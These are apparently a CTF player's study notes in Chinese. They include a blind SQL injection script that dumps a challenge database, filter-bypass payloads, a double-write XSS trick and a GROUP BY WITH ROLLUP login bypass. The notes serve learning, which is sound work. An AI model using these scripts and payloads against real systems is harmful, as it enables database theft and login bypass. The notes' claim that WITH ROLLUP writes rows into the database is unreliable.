养成题后整理是一个很好的习惯,尽管有点累而且麻烦,但至少能够方便自己回顾错误的地方
web服务器默认访问日志文件
首先是nginx
/var/log/nginx/access.log
里面记录了每次用户访问后的User-Agent
同样,Apache也有
/var/log/httpd/access_log
当然Apache的我没有具体验证过,可靠性有待考究
弱比较漏洞
参考博客:PHP弱类型比较(松散比较)方面的漏洞
SQL盲注
盲注其实就是通过页面的特殊响应猜测注入结果是否正常。下面主要分享一下几种常见绕过
- 过滤空格, 可以使用括号() 或者注释/**/ 绕过
- 过滤and, 可以使用or替代
- 过滤union, 可以用盲注替代联合注入
- 过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1),这里**可以用substr(database() from 1 for 1)来代替**
下面是一个常见的脱库脚本
import requests
url = 'http://53aab0c2-b451-4910-a1e0-f15fd9e64b2a.challenge.ctf.show:8080/index.php?id=-1/**/or/**/'
name = ''
# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 45):
# 获取当前使用的数据库
# payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
# 获取当前数据库的所有表
# payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
# 获取flag表的字段
# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
# 获取flag表的数据
payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
count = 0
print('正在获取第 %d 个字符' % i)
# 截取SQL查询结果的每个字符, 并判断字符内容
for j in range(31, 128):
result = requests.get(url + payload % (i, j))
if 'If' in result.text:
name += chr(j)
print('数据库名/表名/字段名/数据: %s' % name)
break
# 如果某个字符不存在,则停止程序
count += 1
if count >= (128 - 31):
exit()
信息搜集
肯定会经常见到页面一片空白的情况,或者只有短短的一句类似“where is flag?”这样看着就来气的风凉话
dirsearch就是个不错的信息搜集工具,这里只做提醒,不做详细介绍
双写绕过
经常会碰到类似下面这样的过滤形式
$name = str_replace( '<script>', '', $_GET[ 'name' ] )
这种过滤其实很容易绕过,首先我们要知道str_replace
函数在这里的作用就是把我们输入进来的name中带有script标签的内容替换成空,所以绕过的姿势也很简单,像下面这样的字符串就能到达效果
<scr<script>ipt>
group by和with rollup
如果上面的双写绕过姿势碰到了下面的这样怪兽
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);//将上面字符串全替换为空
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
那很明显是躲不过两次查询的。最主要的原因就在于if在这里检查了你输入的内容是否进行了双写
那就没有办法了吗?当然不是,在出现这段代码题目的完整代码如下
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);//将上面字符串全替换为空
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
很明显使用一般的回显查询是没用了,我还需要确保password存在数据库中。
下面就介绍一下两种特殊的SQL指令
1.group by——将结果集中的数据行根据选择列的值进行逻辑分组
下面是不加group by的查询结果
下面是加了之后会自动按照password进行排序
2.with rollup——对结果进行统计(通常接在需要绕过判断的字段group by后面)
可以看到上面的结果中增加了一条NULL,并且这条数据已经被写入到了数据库中,下一次不使用with rollup的正常查询它也依然会存在
此时只需要将用户名一栏输入admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
,密码一栏放空即可
各种php函数
ctype_alpha() 检查变量是不是纯字符
is_numeric() 检测变量是否为数字或数字字符串
print_r() 打印结果
scandir() 查看目录文件,和glob()一样(scandir(".")为查看当前目录所有文件,glob()为glob("*.*"))
show_source() 和highlight_file()一样,高亮显示代码